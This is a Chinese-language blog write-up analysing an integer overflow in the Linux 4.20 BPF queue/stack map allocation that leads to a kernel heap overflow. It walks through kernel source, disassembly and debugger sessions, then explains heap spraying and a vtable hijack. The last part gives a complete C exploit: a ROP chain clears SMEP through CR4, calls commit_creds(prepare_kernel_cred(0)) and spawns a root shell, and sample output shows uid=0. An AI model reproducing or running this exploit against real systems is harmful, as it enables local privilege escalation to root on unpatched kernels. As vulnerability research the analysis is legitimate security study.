Linux kernel 4.20 BPF 整数溢出漏洞分析

漏洞的发现者与原作者是ww9210,相关资料:github ,安全客文章

本文所使用的环境与EXP下载

漏洞分析

漏洞存在于BPF模块中,该模块主要用于用户态定义数据包过滤方法,如常见的抓包工具都基于此实现,并且用户态的Seccomp功能也与此功能相似。

分析基于linux-4.20-rc3版本代码:https://elixir.bootlin.com/linux/v4.20-rc3/source

整数溢出漏洞

整数溢出漏洞存在于BPF_MAP_CREATE功能,是bpf系统调用的一部分,可参考手册

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr __user *, uattr, unsigned int, size)
{
union bpf_attr attr = {};
int err;

if (sysctl_unprivileged_bpf_disabled && !capable(CAP_SYS_ADMIN))
return -EPERM;

err = bpf_check_uarg_tail_zero(uattr, sizeof(attr), size);
if (err)
return err;
size = min_t(u32, size, sizeof(attr));

/* copy attributes from user space, may be less than sizeof(bpf_attr) */
if (copy_from_user(&attr, uattr, size) != 0)
return -EFAULT;

err = security_bpf(cmd, &attr, size);
if (err < 0)
return err;

switch (cmd) {
case BPF_MAP_CREATE:
err = map_create(&attr);
break;
case BPF_MAP_LOOKUP_ELEM:
err = map_lookup_elem(&attr);
break;
case BPF_MAP_UPDATE_ELEM:
err = map_update_elem(&attr);
break;

可以看到其处理函数是map_create,在[1]处创建了一个map结构体,并为其分配编号,此后利用编号寻找生成的map。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
/* called via syscall */
static int map_create(union bpf_attr *attr)
{
int numa_node = bpf_map_attr_numa_node(attr);
struct bpf_map *map;
int f_flags;
int err;

err = CHECK_ATTR(BPF_MAP_CREATE);
if (err)
return -EINVAL;

f_flags = bpf_get_file_flag(attr->map_flags);
if (f_flags < 0)
return f_flags;

if (numa_node != NUMA_NO_NODE &&
((unsigned int)numa_node >= nr_node_ids ||
!node_online(numa_node)))
return -EINVAL;

/* find map type and init map: hashtable vs rbtree vs bloom vs ... */
[1] map = find_and_alloc_map(attr);
if (IS_ERR(map))
return PTR_ERR(map);

err = bpf_obj_name_cpy(map->name, attr->map_name);
if (err)
goto free_map_nouncharge;

atomic_set(&map->refcnt, 1);
atomic_set(&map->usercnt, 1);

if (attr->btf_key_type_id || attr->btf_value_type_id) {
struct btf *btf;

if (!attr->btf_key_type_id || !attr->btf_value_type_id) {
err = -EINVAL;
goto free_map_nouncharge;
}

btf = btf_get_by_fd(attr->btf_fd);
if (IS_ERR(btf)) {
err = PTR_ERR(btf);
goto free_map_nouncharge;
}

err = map_check_btf(map, btf, attr->btf_key_type_id,
attr->btf_value_type_id);
if (err) {
btf_put(btf);
goto free_map_nouncharge;
}

map->btf = btf;
map->btf_key_type_id = attr->btf_key_type_id;
map->btf_value_type_id = attr->btf_value_type_id;
}

err = security_bpf_map_alloc(map);
if (err)
goto free_map_nouncharge;

err = bpf_map_init_memlock(map);
if (err)
goto free_map_sec;

err = bpf_map_alloc_id(map);
if (err)
goto free_map;

err = bpf_map_new_fd(map, f_flags);
if (err < 0) {
/* failed to allocate fd.
* bpf_map_put() is needed because the above
* bpf_map_alloc_id() has published the map
* to the userspace and the userspace may
* have refcnt-ed it through BPF_MAP_GET_FD_BY_ID.
*/
bpf_map_put(map);
return err;
}

return err;

free_map:
bpf_map_release_memlock(map);
free_map_sec:
security_bpf_map_free(map);
free_map_nouncharge:
btf_put(map->btf);
map->ops->map_free(map);
return err;
}

下面分析find_and_alloc_map函数,对于传入参数的含义如结构体所示,可以看到程序首先根据attr->type,寻找所对应的处理函数虚表,在[2]处。然后根据处理函数虚表的不同,调用不同的函数进行处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
struct {    /* Used by BPF_MAP_CREATE */
__u32 map_type;
__u32 key_size; /* size of key in bytes */
__u32 value_size; /* size of value in bytes */
__u32 max_entries; /* maximum number of entries
in a map */
};

static struct bpf_map *find_and_alloc_map(union bpf_attr *attr)
{
const struct bpf_map_ops *ops;
u32 type = attr->map_type;
struct bpf_map *map;
int err;

if (type >= ARRAY_SIZE(bpf_map_types))
return ERR_PTR(-EINVAL);
type = array_index_nospec(type, ARRAY_SIZE(bpf_map_types));
[2] ops = bpf_map_types[type];
if (!ops)
return ERR_PTR(-EINVAL);

if (ops->map_alloc_check) {
err = ops->map_alloc_check(attr);
if (err)
return ERR_PTR(err);
}
if (attr->map_ifindex)
ops = &bpf_map_offload_ops;
[3] map = ops->map_alloc(attr);
if (IS_ERR(map))
return map;
map->ops = ops;
map->map_type = type;
return map;
}

本漏洞存在的虚函数位于queue_stack_map_alloc,查看内核可以计算其触发所需的type值,即(0xFFFFFFFF82028438 - 0xFFFFFFFF82028380)/8 = 0x17 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
汇编指令:
.text:FFFFFFFF8119D17A mov eax, r14d
.text:FFFFFFFF8119D17D mov r15, ds:bpf_map_types[rax*8]

虚表:
.rodata:FFFFFFFF82028380 bpf_map_types dq 0 ; DATA XREF: map_create+AD↑r
... ...
.rodata:FFFFFFFF82028410 dq offset unk_FFFFFFFF8210F0A0
.rodata:FFFFFFFF82028418 dq offset unk_FFFFFFFF82029B00
.rodata:FFFFFFFF82028420 dq offset unk_FFFFFFFF8202A680
.rodata:FFFFFFFF82028428 dq offset unk_FFFFFFFF82029B00
.rodata:FFFFFFFF82028430 dq offset unk_FFFFFFFF82029C40
.rodata:FFFFFFFF82028438 dq offset off_FFFFFFFF82029BA0
... ...
.rodata:FFFFFFFF82029BA0 dq offset queue_stack_map_alloc_check
.rodata:FFFFFFFF82029BA8 dq offset queue_stack_map_alloc
.rodata:FFFFFFFF82029BB0 dq 0
.rodata:FFFFFFFF82029BB8 dq offset queue_stack_map_free
.rodata:FFFFFFFF82029BC0 dq offset queue_stack_map_get_next_key
.rodata:FFFFFFFF82029BC8 dq 0
.rodata:FFFFFFFF82029BD0 dq offset queue_stack_map_lookup_elem
.rodata:FFFFFFFF82029BD8 dq offset queue_stack_map_update_elem
.rodata:FFFFFFFF82029BE0 dq offset queue_stack_map_delete_elem
.rodata:FFFFFFFF82029BE8 dq offset queue_stack_map_push_elem
.rodata:FFFFFFFF82029BF0 dq offset stack_map_pop_elem
.rodata:FFFFFFFF82029BF8 dq offset stack_map_peek_elem

程序在[3]处调用漏洞存在函数:queue_stack_map_alloc,在该函数中利用sizeof(bpf_queue_stack) + attr->value_size * (attr->max_entries + 1)来申请堆空间,而attr中内容均为用户输入,可以看到当max_entries 为0xffffffff时,将仅申请大小sizeof(bpf_queue_stack) 的堆块。此函数相当于申请了相邻的内存,其中前sizeof(bpf_queue_stack) 个字节为管理块,用于存储数据结构,后面的内容为数据存储结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static struct bpf_map *queue_stack_map_alloc(union bpf_attr *attr)
{
int ret, numa_node = bpf_map_attr_numa_node(attr);
struct bpf_queue_stack *qs;
u32 size, value_size;
u64 queue_size, cost;

size = attr->max_entries + 1;
value_size = attr->value_size;

queue_size = sizeof(*qs) + (u64) value_size * size;

cost = queue_size;
if (cost >= U32_MAX - PAGE_SIZE)
return ERR_PTR(-E2BIG);

cost = round_up(cost, PAGE_SIZE) >> PAGE_SHIFT;

ret = bpf_map_precharge_memlock(cost);
if (ret < 0)
return ERR_PTR(ret);

qs = bpf_map_area_alloc(queue_size, numa_node);
if (!qs)
return ERR_PTR(-ENOMEM);

memset(qs, 0, sizeof(*qs));

bpf_map_init_from_attr(&qs->map, attr);

qs->map.pages = cost;
qs->size = size;

raw_spin_lock_init(&qs->lock);

return &qs->map;
}

当申请完成后,初始化函数如下:bpf_map_init_from_attr,几乎为copy了用户输入的attr。

1
2
3
4
5
6
7
8
void bpf_map_init_from_attr(struct bpf_map *map, union bpf_attr *attr)
{
map->map_type = attr->map_type;
map->key_size = attr->key_size;
map->value_size = attr->value_size;
map->max_entries = attr->max_entries;
map->map_flags = attr->map_flags;
}

当此申请完成后,内核模块将这个堆块放入管理结构中,并生成id用于管理,并将id返回给用户。

堆溢出漏洞

由上述的整数溢出漏洞,导致内存分配时仅仅分配了管理块的大小而没有分配实际存储数据的内存。如果存在编辑功能则一定会有问题,下面的堆溢出漏洞就是由此导致的。

漏洞存在于map_update_elem函数中,即bpf系统调用的第三个功能函数。首先根据用户输入的id找到放入管理结构的map,利用kmalloc新建一个堆块根据map中存储的value_size,从用户输入拷贝。然后在map中找到存储的虚函数指针ops,然后根据ops调用相应的虚函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
static int map_update_elem(union bpf_attr *attr)
{
void __user *ukey = u64_to_user_ptr(attr->key);
void __user *uvalue = u64_to_user_ptr(attr->value);
int ufd = attr->map_fd;
struct bpf_map *map;
void *key, *value;
u32 value_size;
struct fd f;
int err;

if (CHECK_ATTR(BPF_MAP_UPDATE_ELEM))
return -EINVAL;

f = fdget(ufd);
map = __bpf_map_get(f);
if (IS_ERR(map))
return PTR_ERR(map);

if (!(f.file->f_mode & FMODE_CAN_WRITE)) {
err = -EPERM;
goto err_put;
}

key = __bpf_copy_key(ukey, map->key_size);
if (IS_ERR(key)) {
err = PTR_ERR(key);
goto err_put;
}

if (map->map_type == BPF_MAP_TYPE_PERCPU_HASH ||
map->map_type == BPF_MAP_TYPE_LRU_PERCPU_HASH ||
map->map_type == BPF_MAP_TYPE_PERCPU_ARRAY ||
map->map_type == BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE)
value_size = round_up(map->value_size, 8) * num_possible_cpus();
else
value_size = map->value_size;

err = -ENOMEM;
value = kmalloc(value_size, GFP_USER | __GFP_NOWARN);
if (!value)
goto free_key;

err = -EFAULT;
if (copy_from_user(value, uvalue, value_size) != 0)
goto free_value;

/* Need to create a kthread, thus must support schedule */
if (bpf_map_is_dev_bound(map)) {
err = bpf_map_offload_update_elem(map, key, value, attr->flags);
goto out;
} else if (map->map_type == BPF_MAP_TYPE_CPUMAP ||
map->map_type == BPF_MAP_TYPE_SOCKHASH ||
map->map_type == BPF_MAP_TYPE_SOCKMAP) {
err = map->ops->map_update_elem(map, key, value, attr->flags);
goto out;
}

/* must increment bpf_prog_active to avoid kprobe+bpf triggering from
* inside bpf map update or delete otherwise deadlocks are possible
*/
preempt_disable();
__this_cpu_inc(bpf_prog_active);
if (map->map_type == BPF_MAP_TYPE_PERCPU_HASH ||
map->map_type == BPF_MAP_TYPE_LRU_PERCPU_HASH) {
err = bpf_percpu_hash_update(map, key, value, attr->flags);
} else if (map->map_type == BPF_MAP_TYPE_PERCPU_ARRAY) {
err = bpf_percpu_array_update(map, key, value, attr->flags);
} else if (map->map_type == BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE) {
err = bpf_percpu_cgroup_storage_update(map, key, value,
attr->flags);
} else if (IS_FD_ARRAY(map)) {
rcu_read_lock();
err = bpf_fd_array_map_update_elem(map, f.file, key, value,
attr->flags);
rcu_read_unlock();
} else if (map->map_type == BPF_MAP_TYPE_HASH_OF_MAPS) {
rcu_read_lock();
err = bpf_fd_htab_map_update_elem(map, f.file, key, value,
attr->flags);
rcu_read_unlock();
} else if (map->map_type == BPF_MAP_TYPE_REUSEPORT_SOCKARRAY) {
/* rcu_read_lock() is not needed */
err = bpf_fd_reuseport_array_update_elem(map, key, value,
attr->flags);
} else if (map->map_type == BPF_MAP_TYPE_QUEUE ||
map->map_type == BPF_MAP_TYPE_STACK) {
err = map->ops->map_push_elem(map, value, attr->flags);
} else {
rcu_read_lock();
err = map->ops->map_update_elem(map, key, value, attr->flags);
rcu_read_unlock();
}
__this_cpu_dec(bpf_prog_active);
preempt_enable();
maybe_wait_bpf_programs(map);
out:
free_value:
kfree(value);
free_key:
kfree(key);
err_put:
fdput(f);
return err;
}

此处,实际操作的函数由之前初始化的虚表可知是queue_stack_map_push_elem,在该函数中从之前kmalloc新建的内存中,向计算得到的地址做拷贝,大小为qs->size。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static int queue_stack_map_push_elem(struct bpf_map *map, void *value,
u64 flags)
{
struct bpf_queue_stack *qs = bpf_queue_stack(map);
unsigned long irq_flags;
int err = 0;
void *dst;

/* BPF_EXIST is used to force making room for a new element in case the
* map is full
*/
bool replace = (flags & BPF_EXIST);

/* Check supported flags for queue and stack maps */
if (flags & BPF_NOEXIST || flags > BPF_EXIST)
return -EINVAL;

raw_spin_lock_irqsave(&qs->lock, irq_flags);

if (queue_stack_map_is_full(qs)) {
if (!replace) {
err = -E2BIG;
goto out;
}
/* advance tail pointer to overwrite oldest element */
if (unlikely(++qs->tail >= qs->size))
qs->tail = 0;
}

dst = &qs->elements[qs->head * qs->map.value_size];
memcpy(dst, value, qs->map.value_size);

if (unlikely(++qs->head >= qs->size))
qs->head = 0;

out:
raw_spin_unlock_irqrestore(&qs->lock, irq_flags);
return err;
}

计算的地址,从汇编语言中更容易看出是跳过了管理块内容的地址,qs->head在新建的时候被初始化为0,此时出现堆溢出,溢出大小可以控制即初始化是输入的value_size,位置是从新建的第一个堆块以后直接溢出。

1
2
3
4
5
6
7
.text:FFFFFFFF811AEF71                 mov     edx, [rbx+20h]
.text:FFFFFFFF811AEF74 mov rsi, r13
.text:FFFFFFFF811AEF77 xor r15d, r15d
.text:FFFFFFFF811AEF7A imul ecx, edx
.text:FFFFFFFF811AEF7D lea rdi, [rbx+rcx+0D0h]
.text:FFFFFFFF811AEF85 call memcpy
; memcpy((unsigned __int64)map + (unsigned int)(map[8] * v7) + 0xD0, a2, (unsigned int)map[8]);

其功能上很容易理解,没一个map里包含多个小块内存,value_size是每一个小块的大小,max_entries是小块的数量,每次可以写一个小块内容。

漏洞利用

[-] 利用默认仅采用smep保护,关闭smap、kaslr、kpti。

内核堆漏洞最大的问题是要看申请的堆块大小是多少,这是因为内核的堆管理是用的伙伴算法+slub算法,即相同kmem_cache的内存块是用同一个内存页切开的,所以造成内存块会相邻。

首先分析申请的内存大小和使用的kmem_cache,此处用动态分析更好。可以发现其申请的大小是0x100,并且采用了kmalloc-256进行分配。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> b *0xFFFFFFFF8119CD17
Breakpoint 2 at 0xffffffff8119cd17
pwndbg> c
Continuing.
pwndbg> ni
pwndbg> i r rax
rax 0xffff88807a001700 -131389592692992
pwndbg> x /20gx 0xffff88807a001700
0xffff88807a001700: 0x0000000000024200 0x0000000040000000
0xffff88807a001710: 0x0000000000000005 0x0000010000000100
0xffff88807a001720: 0x0000000d00000000 0x0000001000000010
0xffff88807a001730: 0x0000000000000010 0x0000000000000001
0xffff88807a001740: 0x0000000000000000 0x0000000800000100
0xffff88807a001750: 0x0000000000000000 0xffffffff8222db1c
0xffff88807a001760: 0xffff88807a001860 0xffff88807a001660
0xffff88807a001770: 0xffffffff8222db1c 0xffff88807a001878
0xffff88807a001780: 0xffff88807a001678 0xffff888079b459d8
0xffff88807a001790: 0xffff888079b459c0 0xffffffff8246d5e0
pwndbg> x /s 0xffffffff8222db1c
0xffffffff8222db1c: "kmalloc-256"

堆风水

所谓堆风水就是根据堆分配机制,将特定的内存块分配到特定的位置去。

此处漏洞的限定条件是:1 申请的0x100大小的堆块。 2 向相邻堆块溢出。

根据漏洞利用的常用思路,找到一个0x100大小、并存在函数指针、虚表的数据结构进行喷射都可以。

这里采用的喷射(spary)就是利用伙伴算法和slub的性质,由于其位置上相同大小的堆块相邻,因此申请大量的堆块一定存在一块与发生溢出的堆块相邻,造成指针可控的情况。

常用的ptmx由于大小问题不可用,此模块中恰好有一个数据结构可以使用就是 bpf_queue_stack。

如下,其中bpf_map_ops是一个虚函数表,数据结构中恰好包括一个虚函数表指针ops,因此,利用bpf中的BPF_MAP_CREATE功能,进行喷射就可以造成虚函数表指针可控的情况。此喷射操作恰好与整数溢出触发操作相同。

数据结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
struct bpf_queue_stack {
struct bpf_map map;
raw_spinlock_t lock;
u32 head, tail;
u32 size; /* max_entries + 1 */

char elements[0] __aligned(8);
};

struct bpf_map {
/* The first two cachelines with read-mostly members of which some
* are also accessed in fast-path (e.g. ops, max_entries).
*/
const struct bpf_map_ops *ops ____cacheline_aligned;
struct bpf_map *inner_map_meta;
#ifdef CONFIG_SECURITY
void *security;
#endif
enum bpf_map_type map_type;
u32 key_size;
u32 value_size;
u32 max_entries;
u32 map_flags;
u32 pages;
u32 id;
int numa_node;
u32 btf_key_type_id;
u32 btf_value_type_id;
struct btf *btf;
bool unpriv_array;
/* 55 bytes hole */

/* The 3rd and 4th cacheline with misc members to avoid false sharing
* particularly with refcounting.
*/
struct user_struct *user ____cacheline_aligned;
atomic_t refcnt;
atomic_t usercnt;
struct work_struct work;
char name[BPF_OBJ_NAME_LEN];
};
/* map is generic key/value storage optionally accesible by eBPF programs */
struct bpf_map_ops {
/* funcs callable from userspace (via syscall) */
int (*map_alloc_check)(union bpf_attr *attr);
struct bpf_map *(*map_alloc)(union bpf_attr *attr);
void (*map_release)(struct bpf_map *map, struct file *map_file);
void (*map_free)(struct bpf_map *map);
int (*map_get_next_key)(struct bpf_map *map, void *key, void *next_key);
void (*map_release_uref)(struct bpf_map *map);

/* funcs callable from userspace and from eBPF programs */
void *(*map_lookup_elem)(struct bpf_map *map, void *key);
int (*map_update_elem)(struct bpf_map *map, void *key, void *value, u64 flags);
int (*map_delete_elem)(struct bpf_map *map, void *key);
int (*map_push_elem)(struct bpf_map *map, void *value, u64 flags);
int (*map_pop_elem)(struct bpf_map *map, void *value);
int (*map_peek_elem)(struct bpf_map *map, void *value);

/* funcs called by prog_array and perf_event_array map */
void *(*map_fd_get_ptr)(struct bpf_map *map, struct file *map_file,
int fd);
void (*map_fd_put_ptr)(void *ptr);
u32 (*map_gen_lookup)(struct bpf_map *map, struct bpf_insn *insn_buf);
u32 (*map_fd_sys_lookup_elem)(void *ptr);
void (*map_seq_show_elem)(struct bpf_map *map, void *key,
struct seq_file *m);
int (*map_check_btf)(const struct bpf_map *map,
const struct btf_type *key_type,
const struct btf_type *value_type);
};

劫持控制流

上述指针的偏移是0x30,当溢出超过0x30时,即可以控制该虚函数表。我们可以在用户态空间中构造一个虚函数表,将指针指向这个虚函数表。利用close函数即可以触发一个伪造的函数地址来劫持控制流。

此时的方法类似于CISCN 2017 babydriver,首先找到一个gadget来做栈迁移,预先在用户态布置好一个写好ROP的伪造内核栈空间,从而先提权,然后swapgs、iret返回用户态,打开一个shell。

选用的栈迁移gadget是:

1
2
3
pwndbg> x /2i 0xffffffff81954dc8
0xffffffff81954dc8: xchg esp,eax
0xffffffff81954dc9: ret 0x674

随后在0x81954dc8+0x674+8处布置其余的ROP即可。

最终,可以在开启smep的情况下提权:

1
2
3
4
5
6
7
/ $ ./exp
user_cs:33 user_ss: 2b
rop_payload_initialized
SIGSEGV found
get shell again
uid=0(root) gid=0(root)
/ #

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
// gcc -o exp exp.c -static -fno-pie
// This is a SMEP bypass exploit against a integer overflow vulnerability
// in Linux kernel bpf module
// The offset used in this exploit is against a custom compiled kernel.
// exploit author: Wei Wu (ww9210@gmail.com)
// modified by : P4nda (root@p4nda.xyz)
// modify time : 2019-1-2 11:23:33

#define _GNU_SOURCE
#define SPRAY_NUMBER 14

#include <signal.h>
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#define native_write_cr4 0xffffffff810037d5// 0xffffffff81097fcc
#define POPRDX 0xffffffff81002dda
#define DUMMY 0
#define PREPARE_KERNEL_CRED 0xFFFFFFFF810E3D40 //0xffffffff810e3670
#define COMMIT_CREDS 0xFFFFFFFF810E3AB0 //0xffffffff810e33e0
#define poprdiret 0xffffffff810013b9
#define popraxret 0xffffffff81029c71
#define swapgs 0xffffffff81c00d5a//0xffffffff81c0095f
#define iretq 0xffffffff8106d8f4
#define stack_pivot_gadget 0xffffffff81954dc8
#define stack_top_offset 0x674
#define krop_base_to_map 0x81954000
int rop_start=0x1444-8;
void* krop_base_mapped;

unsigned long user_cs, user_ss, user_rflags;

static void save_state()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
:
: "memory");
}

void get_shell()
{
system("id");
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

void get_root_payload(void)
{
commit_creds(prepare_kernel_cred(0));
}
unsigned long rop_chain[] = {
popraxret,
0x6f0,
0xffffffff81001c51,//native_write_cr4,
poprdiret,
0,
PREPARE_KERNEL_CRED,
0xffffffff81001c50, //: pop rsi ; ret
poprdiret,
0xffffffff81264e0b,//: push rax; push rsi; ret; //0xffffffff812646fb, //: push rax ; push rsi ; ret
COMMIT_CREDS,
swapgs,
0x246,
iretq,
(unsigned long)&get_shell,
0,//user_cs,
0,//user_rflags,
0,//krop_base_mapped + 0x4000,
0//user_ss
};

void * fakestack;
void prepare_krop(){
krop_base_mapped=mmap((void *)krop_base_to_map,0x8000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
if (krop_base_mapped<0){
perror("mmap failed");
}
fakestack=mmap((void *)0xa000000000,0x8000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
*(unsigned long*)0x0000000081954dc8=popraxret;
*(unsigned long*)krop_base_to_map = 0;
*(unsigned long*)(krop_base_to_map+0x1000) = 0;
*(unsigned long*)(krop_base_to_map+0x2000) = 0;
*(unsigned long*)(krop_base_to_map+0x3000) = 0;
*(unsigned long*)(krop_base_to_map+0x4000) = 0;
*(unsigned long*)(krop_base_to_map+0x5000) = 0;
*(unsigned long*)(krop_base_to_map+0x6000) = 0;
*(unsigned long*)(krop_base_to_map+0x7000) = 0;
*(unsigned long*)(fakestack+0x4000) = 0;
*(unsigned long*)(fakestack+0x3000) = 0;
*(unsigned long*)(fakestack+0x2000) = 0;
*(unsigned long*)(fakestack+0x1000) = 0;
*(unsigned long*)(fakestack) = 0;
*(unsigned long*)(fakestack+0x10) = stack_pivot_gadget;
*(unsigned long*)(fakestack+0x7000) = 0;
*(unsigned long*)(fakestack+0x6000) = 0;
*(unsigned long*)(fakestack+0x5000) = 0;
rop_chain[12+2]=user_cs;
rop_chain[13+2]=user_rflags;
rop_chain[14+2]=(unsigned long)(fakestack + 0x6000);
rop_chain[15+2]=user_ss;
memcpy(krop_base_mapped+rop_start,rop_chain,sizeof(rop_chain));
puts("rop_payload_initialized");
}

#ifndef __NR_bpf
#define __NR_bpf 321
#endif

uint64_t r[1] = {0xffffffffffffffff};

// defragmentation
void defragment(){
int i;
FILE* fp;
char name[100];
for(i=0; i<200; i++){
snprintf(name, 100, "xxx%d", i);
fp=fopen(name,"w");
}
}

long victim[SPRAY_NUMBER];
void spray(){
int i;
for(i=0;i<SPRAY_NUMBER;i++){
victim[i] = syscall(__NR_bpf, 0, 0x200011c0, 0x2c);
}
return;
}
void get_shell_again(){
puts("SIGSEGV found");
puts("get shell again");
system("id");
char *shell = "/bin/sh";
char *args[] = {shell, NULL};
execve(shell, args, NULL);
}
int main(void)
{
signal(SIGSEGV,get_shell_again);
//get_shell();
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
long res = 0;
*(uint32_t*)0x200011c0 = 0x17;
*(uint32_t*)0x200011c4 = 0;
*(uint32_t*)0x200011c8 = 0x40;
*(uint32_t*)0x200011cc = -1;
*(uint32_t*)0x200011d0 = 0;
*(uint32_t*)0x200011d4 = -1;
*(uint32_t*)0x200011d8 = 0;
*(uint8_t*)0x200011dc = 0;
*(uint8_t*)0x200011dd = 0;
*(uint8_t*)0x200011de = 0;
*(uint8_t*)0x200011df = 0;
*(uint8_t*)0x200011e0 = 0;
*(uint8_t*)0x200011e1 = 0;
*(uint8_t*)0x200011e2 = 0;
*(uint8_t*)0x200011e3 = 0;
*(uint8_t*)0x200011e4 = 0;
*(uint8_t*)0x200011e5 = 0;
*(uint8_t*)0x200011e6 = 0;
*(uint8_t*)0x200011e7 = 0;
*(uint8_t*)0x200011e8 = 0;
*(uint8_t*)0x200011e9 = 0;
*(uint8_t*)0x200011ea = 0;
*(uint8_t*)0x200011eb = 0;
save_state();
printf("user_cs:%llx user_ss: %llx\n",user_cs,user_ss);
prepare_krop();
res = syscall(__NR_bpf, 0, 0x200011c0, 0x2c);
if (res != -1)
r[0] = res;
spray();

*(uint32_t*)0x200000c0 = r[0];
*(uint64_t*)0x200000c8 = 0;
*(uint64_t*)0x200000d0 = 0x20000140;
*(uint64_t*)0x200000d8 = 2;
uint64_t* ptr = (uint64_t*)0x20000140;
ptr[0]=1;
ptr[1]=2;
ptr[2]=3;
ptr[3]=4;
ptr[4]=5;
ptr[5]=6;
ptr[6]=0xa000000000;
ptr[7]=8;
syscall(__NR_bpf, 2, 0x200000c0, 0x20);
int i;
*(unsigned long*)(fakestack+0x7000) = 0;
*(unsigned long*)(fakestack+0x6000) = 0;
*(unsigned long*)(fakestack+0x5000) = 0;
for(i=0;i<SPRAY_NUMBER;i++){
close(victim[i]);
}
//pause();
return 0;
}

其他

在调试ROP时,当用iret返回用户态时,遇到了一个之前没有遇到的问题,虽然跳转到了get_shell函数,但执行第一条语句时,出现Segmentation fault,拿不到shell。最后还是问了ww9210师傅,告诉我可以加一个signal函数来catch段错误,在这个处理函数中再起shell,就可以拿到shell了,虽然不太清楚为什么,但是确实有效。

文章目录
  1. 1. 漏洞分析
    1. 1.1. 整数溢出漏洞
    2. 1.2. 堆溢出漏洞
  2. 2. 漏洞利用
    1. 2.1. 堆风水
    2. 2.2. 劫持控制流
    3. 2.3. EXP
  3. 3. 其他
|